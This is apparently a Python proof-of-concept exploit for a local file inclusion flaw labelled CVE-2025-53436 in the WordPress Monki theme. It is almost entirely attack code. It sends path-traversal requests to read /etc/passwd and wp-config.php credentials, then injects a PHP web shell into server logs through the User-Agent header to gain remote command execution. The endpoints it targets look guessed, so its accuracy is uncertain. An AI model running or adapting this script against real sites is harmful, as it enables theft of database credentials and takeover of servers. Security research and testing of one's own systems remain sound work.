CVE-2025-53436

# CVE-2025-53436 PoC - WordPress Monki Theme LFI # Affected: Monki Theme <= 2.0.5 # Type: Local File Inclusion import requests import sys def test_lfi(target_url): """Test for CVE-2025-53436 Local File Inclusion vulnerability""" # Common Monki theme file inclusion endpoints endpoints = [ '/wp-content/themes/monki/inc/template-tags.php', '/wp-content/themes/monki/inc/custom-header.php', '/wp-content/themes/monki/inc/customizer.php' ] # Files to read test_files = [ '../../../../../../../../etc/passwd', '../../../../../../../../windows/win.ini', '../../../../../../../../wp-config.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-53436 - Monki Theme LFI\n") for endpoint in endpoints: for test_file in test_files: # Construct the malicious URL vuln_url = target_url.rstrip('/') + endpoint + '?file=' + test_file try: response = requests.get(vuln_url, timeout=10) # Check for successful file inclusion if 'root:' in response.text or '[extensions]' in response.text or 'DB_NAME' in response.text: print(f"[!] VULNERABLE! File inclusion successful: {test_file}") print(f"[+] URL: {vuln_url}") print(f"[+] Response length: {len(response.text)}") return True except requests.RequestException as e: print(f"[-] Error testing {vuln_url}: {e}") print("[*] Testing complete. Target may not be vulnerable.") return False # Remote Code Execution via log poisoning def test_rce(target_url): """Attempt RCE via log file poisoning""" # Inject PHP code into log file evil_code = '<?php phpinfo(); ?><?php system($_GET["cmd"]); ?>' # Try to poison Apache/Nginx logs headers = {'User-Agent': evil_code} try: requests.get(target_url, headers=headers, timeout=10) # Now try to include the log file log_path = '../../../../../../../../var/log/apache2/access.log' rce_url = target_url + '/wp-content/themes/monki/inc/template-tags.php?file=' + log_path + '&cmd=id' response = requests.get(rce_url, timeout=10) if 'uid=' in response.text: print(f"[!] RCE SUCCESSFUL!") print(f"[+] Command output found in response") return True except Exception as e: print(f"[-] RCE attempt failed: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-53436.py <target_url>") print("Example: python cve-2025-53436.py http://example.com") sys.exit(1) target = sys.argv[1] test_lfi(target)

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